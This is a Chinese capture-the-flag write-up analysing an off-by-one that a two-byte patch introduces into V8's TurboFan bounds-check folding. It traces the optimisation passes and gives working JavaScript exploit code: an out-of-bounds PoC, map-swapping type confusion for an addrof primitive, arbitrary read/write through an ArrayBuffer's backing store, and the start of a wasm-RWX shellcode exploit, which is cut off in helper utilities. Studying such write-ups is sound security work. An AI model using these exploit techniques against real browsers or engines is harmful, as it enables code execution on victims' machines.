一个两字节patch导致的off-by-one,最终造成类型混淆,执行shellcode。
编译了一个d8
程序用于验证和利用漏洞,相关附件下载
CheckBound优化流程
首先在原有的simplified-lowering
阶段,CheckBound
节点并不被消除,而是设置为kAbortOnOutOfBounds
模式,并替换为CheckedUint32Bounds
。
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds;
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
}
}
而在此之前,该位置如下,可见原先利用节点消除的漏洞利用方法不能使用了。
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
} else {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback()));
}
}
在Effect linearization
阶段,CheckedUint32Bounds
节点会被优化成Uint32LessThan
,并绑定上其True
和False
分支。
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());
Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();
__ Branch(check, &done, &if_abort);
__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);
__ Bind(&done);
break;
}
}
return index;
}
而在lateoptimize
阶段,将其优化为左值<右值这个表达式,即一个永真或者永假条件。
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
switch (node->opcode()) {
// [...]
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value());
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}
此后,另一个分支就变成了一个不可达的分支,最终在brancheliminate
中被剪掉,达到和早期未patch
版本同样的目的,但要求多了很多。
题目分析
而从题目来看,题目只patch
了两个字符,就是在上面
return ReplaceBool(m.left().Value() < m.right().Value());
改为了
return ReplaceBool(m.left().Value() < m.right().Value() + 1);
这样的话,就算达到访问一个element
的下一个节点,这个checkBound
也会被优化掉,从而有个off-by-one
,如果能达到这一点,就和*ctf 2019
的oob
这题一模一样了,但那题的实现是增加了一个builtin
函数,不需要利用优化,而此题需要在优化的前提下才能用,而且必须使CheckBound
达到上述代码的位置。
测试样例分析
测试代码:
var opt_me2 = () => {
let arr = [1,2,3,4];
index = 4;
return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
opt_me2();
可以发现使用上述测试样例并不能触发OOB
,其原因也十分有趣,同样来源于优化过程。
首先通过--trace-turbo
对优化过程的IR
进行记录,发现在LoopPeeling
阶段,44
节点是一个值比较结点,而47
结点是从element
中读取数据,也就是实际执行arr[index]
的这个节点。
但在下一阶段loadelimination
中,比较44
和47
两个节点都消失了,最终结果将返回2
结点(undefined)。
可以查看一下loadelimination
都做了什么,从源码中可以看到主要以AddReducer
方法添加了10个reducer
void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(temp_zone, data->graph(),
&data->info()->tick_counter(),
data->jsgraph()->Dead());
BranchElimination branch_condition_elimination(&graph_reducer,
data->jsgraph(), temp_zone);
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
LoadElimination load_elimination(&graph_reducer, data->jsgraph(),
temp_zone);
CheckpointElimination checkpoint_elimination(&graph_reducer);
ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
data->broker(), data->common(),
data->machine(), temp_zone);
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
ConstantFoldingReducer constant_folding_reducer(
&graph_reducer, data->jsgraph(), data->broker());
TypeNarrowingReducer type_narrowing_reducer(&graph_reducer, data->jsgraph(),
data->broker());
AddReducer(data, &graph_reducer, &branch_condition_elimination);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &load_elimination);
AddReducer(data, &graph_reducer, &type_narrowing_reducer);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
而在graph_reducer.ReduceGraph
中将分别对每个节点调用上述添加的10个*::Reduce()
方法。
Reduction GraphReducer::Reduce(Node* const node) {
auto skip = reducers_.end();
for (auto i = reducers_.begin(); i != reducers_.end();) {
if (i != skip) {
tick_counter_->DoTick();
Reduction reduction = (*i)->Reduce(node);
if (!reduction.Changed()) {
// No change from this reducer.
} else if (reduction.replacement() == node) {
// {replacement} == {node} represents an in-place reduction. Rerun
// all the other reducers for this node, as now there may be more
// opportunities for reduction.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- In-place update of " << *node << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
skip = i;
i = reducers_.begin();
continue;
} else {
// {node} was replaced by another node.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- Replacement of " << *node << " with "
<< *(reduction.replacement()) << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
return reduction;
}
}
++i;
}
if (skip == reducers_.end()) {
// No change from any reducer.
return Reducer::NoChange();
}
// At least one reducer did some in-place reduction.
return Reducer::Changed(node);
}
使用trace-turbo-reduction
对节点的修改和替换细节进行分析,可以发现在如下部分,首先是NumberLessThan(43, 16)
内容被TypeNarrowingReducer
更新,然后被ConstantFoldingReducer
替换成HeapConstant
固定值false
,最终导致45
节点True
的分支变成不可达的节点,最终被DeadCodeElimination
清理掉,造成没有触发OOB
- In-place update of 44: NumberLessThan(43, 16) by reducer TypeNarrowingReducer
- Replacement of 44: NumberLessThan(43, 16) with 55: HeapConstant[0x210c2b740709 <false>] by reducer ConstantFoldingReducer
- In-place update of 45: Branch[True|CriticalSafetyCheck](55, 12) by reducer BranchElimination
- Replacement of 45: Branch[True|CriticalSafetyCheck](55, 12) with 70: Dead by reducer CommonOperatorReducer
- Replacement of 47: LoadElement[tagged base, 16, Signed32, kRepTaggedSigned|kTypeInt32, FullWriteBarrier](59, 43, 43, 70) with 70: Dead by reducer DeadCodeElimination
首先跟踪TypeNarrowingReducer
,可以看到当opcode
是kNumberLessThan
时,如果左节点的最小值大于右节点的最大值时,类型会被op_typer_.singleton_false();
,是一个HeapConstant
Reduction TypeNarrowingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
Type new_type = Type::Any();
switch (node->opcode()) {
case IrOpcode::kNumberLessThan: {
// TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
// comparisons with the operation typer).
Type left_type = NodeProperties::GetType(node->InputAt(0));
Type right_type = NodeProperties::GetType(node->InputAt(1));
if (left_type.Is(Type::PlainNumber()) &&
right_type.Is(Type::PlainNumber())) {
if (left_type.Max() < right_type.Min()) {
new_type = op_typer_.singleton_true();
} else if (left_type.Min() >= right_type.Max()) {
new_type = op_typer_.singleton_false();
}
}
break;
}
//[...]
Type original_type = NodeProperties::GetType(node);
Type restricted = Type::Intersect(new_type, original_type, zone());
if (!original_type.Is(restricted)) {
NodeProperties::SetType(node, restricted);
return Changed(node);
}
return NoChange();
}
从日志中可以发现其左节点是43
,从IR
可以发现其范围是[4,4]
,右节点是16
,是一个常量值[4]
- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination
因此,在ConstantFoldingReducer::Reduce
中,44
节点将被生成的一个HeapConstant
节点替代。
Reduction ConstantFoldingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// TODO(v8:5303): We must not eliminate FinishRegion here. This special
// case can be removed once we have separate operators for value and
// effect regions.
if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
// We can only constant-fold nodes here, that are known to not cause any
// side-effect, may it be a JavaScript observable side-effect or a possible
// eager deoptimization exit (i.e. {node} has an operator that doesn't have
// the Operator::kNoDeopt property).
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
//[...]
if (replacement) {
// Make sure the node has a type.
if (!NodeProperties::IsTyped(replacement)) {
NodeProperties::SetType(replacement, upper);
}
ReplaceWithValue(node, replacement);
return Changed(replacement);
}
}
}
return NoChange();
}
因此,想要触发OOB
必须规避掉以上路径。可以从43
节点和16
节点两方面考虑。首先说16
节点,其来自于41
节点的优化
- In-place update of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) by reducer RedundancyElimination
- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination
当op
搜索的参数field_index
不是0
时,到相应的object
中找到相关偏移的节点代替掉这个LoadField
节点,可见这个就是直接取出了要访问element
的长度,似乎无法改变。
Reduction LoadElimination::ReduceLoadField(Node* node,
FieldAccess const& access) {
Node* object = NodeProperties::GetValueInput(node, 0);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
if (access.offset == HeapObject::kMapOffset &&
//[...]
} else {
int field_index = FieldIndexOf(access);
if (field_index >= 0) {
PropertyConstness constness = access.constness;
MachineRepresentation representation =
access.machine_type.representation();
FieldInfo const* lookup_result =
state->LookupField(object, field_index, constness);
if (!lookup_result && constness == PropertyConstness::kConst) {
lookup_result = state->LookupField(object, field_index,
PropertyConstness::kMutable);
}
if (lookup_result) {
// Make sure we don't reuse values that were recorded with a different
// representation or resurrect dead {replacement} nodes.
Node* replacement = lookup_result->value;
if (IsCompatible(representation, lookup_result->representation) &&
!replacement->IsDead()) {
// Introduce a TypeGuard if the type of the {replacement} node is not
// a subtype of the original {node}'s type.
if (!NodeProperties::GetType(replacement)
.Is(NodeProperties::GetType(node))) {
Type replacement_type = Type::Intersect(
NodeProperties::GetType(node),
NodeProperties::GetType(replacement), graph()->zone());
replacement = effect =
graph()->NewNode(common()->TypeGuard(replacement_type),
replacement, effect, control);
NodeProperties::SetType(replacement, replacement_type);
}
ReplaceWithValue(node, replacement, effect);
return Replace(replacement);
}
}
FieldInfo info(node, access.name, representation);
state = state->AddField(object, field_index, info, constness, zone());
}
}
Handle<Map> field_map;
if (access.map.ToHandle(&field_map)) {
state = state->SetMaps(node, ZoneHandleSet<Map>(field_map), zone());
}
return UpdateState(node, state);
}
而另一节点43 typer
的路径如下:
Reduction Reduce(Node* node) override {
if (node->op()->ValueOutputCount() == 0) return NoChange();
switch (node->opcode()) {
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, TypeBinaryOp(node, x##Typer));
JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, Type##x(node));
DECLARE_CASE(Start)
DECLARE_CASE(IfException)
// VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
COMMON_OP_LIST(DECLARE_CASE)
SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE) // [here]
SIMPLIFIED_OTHER_OP_LIST
定义如下
#define SIMPLIFIED_OTHER_OP_LIST(V) \
// [...]
V(CheckBounds) \
V(CheckIf) \
因此这个分支就变成了
case IrOpcode::kCheckBounds: \
return UpdateType(node, TypeCheckBounds(node));
TypeCheckBounds
定义如下,取第一个和第二个输入节点的类型,调用CheckBounds
Type Typer::Visitor::TypeCheckBounds(Node* node) {
return typer_->operation_typer_.CheckBounds(Operand(node, 0),
Operand(node, 1));
}
CheckBounds
定义如下,显然index
是一个实际的范围,而length
负责控制其最大边界,而最终取index
与mask
的交集。
Type OperationTyper::CheckBounds(Type index, Type length) {
DCHECK(length.Is(cache_->kPositiveSafeInteger));
if (length.Is(cache_->kSingletonZero)) return Type::None();
Type mask = Type::Range(0.0, length.Max() - 1, zone());
if (index.Maybe(Type::MinusZero())) {
index = Type::Union(index, cache_->kSingletonZero, zone());
}
return Type::Intersect(index, mask, zone());
}
Type Type::Intersect(Type type1, Type type2, Zone* zone) {
// Fast case: bit sets.
if (type1.IsBitset() && type2.IsBitset()) {
return NewBitset(type1.AsBitset() & type2.AsBitset());
}
// Fast case: top or bottom types.
if (type1.IsNone() || type2.IsAny()) return type1; // Shortcut.
if (type2.IsNone() || type1.IsAny()) return type2; // Shortcut.
// Semi-fast case.
if (type1.Is(type2)) return type1;
if (type2.Is(type1)) return type2;
// Slow case: create union.
// Semantic subtyping check - this is needed for consistency with the
// semi-fast case above.
if (type1.Is(type2)) {
type2 = Any();
} else if (type2.Is(type1)) {
type1 = Any();
}
bitset bits = type1.BitsetGlb() & type2.BitsetGlb();
int size1 = type1.IsUnion() ? type1.AsUnion()->Length() : 1;
int size2 = type2.IsUnion() ? type2.AsUnion()->Length() : 1;
int size;
if (base::bits::SignedAddOverflow32(size1, size2, &size)) return Any();
if (base::bits::SignedAddOverflow32(size, 2, &size)) return Any();
UnionType* result = UnionType::New(size, zone);
size = 0;
// Deal with bitsets.
result->Set(size++, NewBitset(bits));
RangeType::Limits lims = RangeType::Limits::Empty();
size = IntersectAux(type1, type2, result, size, &lims, zone);
// If the range is not empty, then insert it into the union and
// remove the number bits from the bitset.
if (!lims.IsEmpty()) {
size = UpdateRange(Type::Range(lims, zone), result, size, zone);
// Remove the number bits.
bitset number_bits = BitsetType::NumberBits(bits);
bits &= ~number_bits;
result->Set(0, NewBitset(bits));
}
return NormalizeUnion(result, size, zone);
}
对于测试demo
,其0、1
两个节点的范围如下:
显然就是取[4,4]和[0,2147483646]的交集,因此CheckBounds
的typer
结果是[4,4]。最终导致满足uintlessthan
的优化条件left_type.Min() >= right_type.Max()
,被优化成永假。
poc构造
综上,分析了测试样例不能触发OOB
的原因,首先要想办法绕过loadelimination
阶段对loadelement
节点的消除。
可以发现一个显然的途径是在CheckBounds
的typer
阶段做文章,如果让CheckBounds
节点的范围并非单一值而是一个范围,保证最小值小于要访问element
的范围,就不会满足消除的条件(left_type.Min() >= right_type.Max())
,而核心问题是对第一个输入的节点范围的扩展,因为CheckBounds
的范围基本由此确定。
长亭发表的一篇writeup中提到了两种解决方案,第一种是对index
增加一个and
操作idx &= 0xfff;
,这种方法会在原来NumberConstant[4]
下面增加一个SpeculativeNumberBitwiseAnd
节点。
而这个节点的typer
实现如下:
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
其中lmin、lmax
为255
,rmin、rmax
为4
,因此最终该节点的范围(0,4)
,传递至CheckBounds
节点并不满足这消除条件,可以触发漏洞。
第二种,由于逃逸分析阶段在LoadElimination
后一阶段,因此在typer
时,无法直接分析出从array
中取出的index
具体值,只能将其分析为Signed32
,最终CheckBounds
的范围为(0,2147483646)
此外,还可以利用Phi
节点来达到同样的目的,当某个值存在分支时,Turbofan
会将增加一个phi
节点,并将这两个值都加入节点的范围去传递,那么poc
同样可以这样构造
var opt_me = (x) => {
let arr = [1,2,3,4.1];
let index = 0;
if(x = 'p4nda')
index = 4;
return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
opt_me('test');
console.log(opt_me('p4nda'));
则构造的IR
图如下
执行结果如下:
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug/log on git:749f0727a2 x [10:39:33] C:130
$ ../d8 ./test.js
-1.1885946300594787e+148
addrof原语构造
现在在element
上存在一个off-by-one
。对于一个JSArray
,其数据结构本身与element
内存分布存在两种布局,一种是elememt
在低地址,一般用var a = [1.1,1.2,1.3]
这样的方式构建;另一种是element
在高地址,一般用var a = Array(4)
这样的方式构建。由于二者内存位置紧邻,因此,可以通过off-by-one
泄露或者修改一个对象的map
地址,从而造成type confuse
。
一个简单的想法就是将一个存放了obj
的JSArray
的map
改为全部存放double
类型的JSArray map
。
首先泄露比较简单,利用之前的poc
可以将arr
的map
,并将arr
加入一个全局的Array
防止map
被释放。
function get_map_opt(x){
let arr = [1.1,1.2,1.3,1.4];
let arr_ele = [arr,arr,arr,arr];
let index = 0;
if(x = 'p4nda'){index = 4;}
return [arr[index],arr,arr_ele];
}
function get_map(){
var tmp ;
for(var i = 0; i< 10000;i++){
tmp = get_map_opt('test');
}
double_map = tmp[0];
element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
global_var.push(tmp[1]);
global_var.push(tmp[2]);
}
get_map();
在拿到了一个PACKED_DOUBLE_ELEMENTS
类型的map
时,就可以对一个PACKED_ELEMENTS
类型的JSArray
造类型混淆了。这里有一个坑点,就是不能对一个PACKED_ELEMENTS
类型的map
位置直接写一个double
,因为element
一共有三种类型,并且是不可逆的改变,向PACKED_ELEMENTS
类型的element
写double
会将double
转换为一个HeapNumber
,也是一个HeapObject
,而非double
值本身。
例如:
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:24]
$ cat ./log/test.js
let a = [1.1,1.2];
let b = [1,2];
let c = [a,b];
%DebugPrint(c);
c[0] = 1.1;
%DebugPrint(c);
# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:37]
$ ./d8 --allow-natives-syntax ./log/test.js
DebugPrint: 0x39d386b0b441: [JSArray]
- map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2e535e811859 <JSArray[0]>
- elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1c1fd9680c21 <FixedArray[0]> {
#length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x39d386b0b421 <FixedArray[2]> {
0: 0x39d386b0b3e1 <JSArray[2]>
1: 0x39d386b0b401 <JSArray[2]>
}
DebugPrint: 0x39d386b0b441: [JSArray]
- map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2e535e811859 <JSArray[0]>
- elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1c1fd9680c21 <FixedArray[0]> {
#length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x39d386b0b421 <FixedArray[2]> {
0: 0x2e535e81f8a9 <HeapNumber 1.1>
1: 0x39d386b0b401 <JSArray[2]>
}
因此需要做一下转换,对一个写满double_map
的JSArray
(PACKED_DOUBLE_ELEMEMTS
类型)造类型混淆,使其混淆为PACKED_ELEMENT
类型,这样再去其中的一个变量向PACKED_ELEMENT
类型的JSArray
写入,即可将其混淆为PACKED_DOUBLE_ELEMENT
类型,从而读出其中object
的地址。
function prepare_double_map_opt(x){
let arr = [double_map,double_map,double_map,double_map];
let index = 0;
if(x = 'p4nda'){index = 4;}
arr[index] = element_map;
return arr;
}
function prepare_double_map(){
var tmp;
for (var i = 0; i< 10000;i++){
tmp = prepare_double_map_opt();
}
return tmp[1];
}
double_map_obj = prepare_double_map();
function addrof_opt(obj){
var a = [obj, obj, obj, obj];
let index = 0;
if(x = 'p4nda'){index = 4};
a[index] = double_map_obj;
return a;
}
function addrof(obj){
for(var i = 0;i<100000;i++){
var a = addrof_opt(obj);
}
return a[0];
}
任意地址读写构造
JSArray
数据可以存放于三个位置,以数字下标访问的存放于elements
,以value:key
访问的如果是初始化的时定义的,直接存于数据结构中,其余后续加入的存于properties
,而对于键值对访问的数据,其键值查找方式存于map
中,那么如果可以对一个JSArray
的map
进行修改,通过键值对访问的方式,对后续数据进行修改。
首先,获取一个含有properties
很多的一个JSArray
的map
,
function get_array_map_opt(x){
let a = Array(2);
a[0] = 1.1;
a[1] = 1.2;
let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
let index = 0;
if(x = 'p4nda'){index = 2;}
return [a[index],b];
}
function get_array_map(){
for(var i = 0; i< 10000; i++){
var tmp = get_array_map_opt();
}
array_map = tmp[0];
global_tmp.push(tmp[1]);
}
get_array_map();
通过布局使一个JSArrayBuffer
恰好处于紧邻一个JSArray
的高地址位置,这样将JSArray
的map
修改为以上map
,就可以不断修改backing_store
了,由于这个布局相对稳定,因此可以重复使用。
function get_victim_obj_opt(x){
let b = [11.1,1.1];
let index = 0;
if (x = 'p4nda'){index = 2;}
b[index] = array_map;
console.log(b.length);
return b;
}
function get_victim_obj(){
for (var i = 0 ; i < 10000; i++){
var tmp = get_victim_obj_opt();
}
victim_arraybuffer = new ArrayBuffer(0x100);
victim_jsarray = tmp;
}
get_victim_obj();
通过访问victim_jsarray.a5
实际上读写的是victim_arraybuffer
的backing_store
成员,通过对victim_arraybuffer
读写达到任意地址读写的目的。
最终,通过wasm
对象,找到rwx-
区域,执行shellcode
。
EXP
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
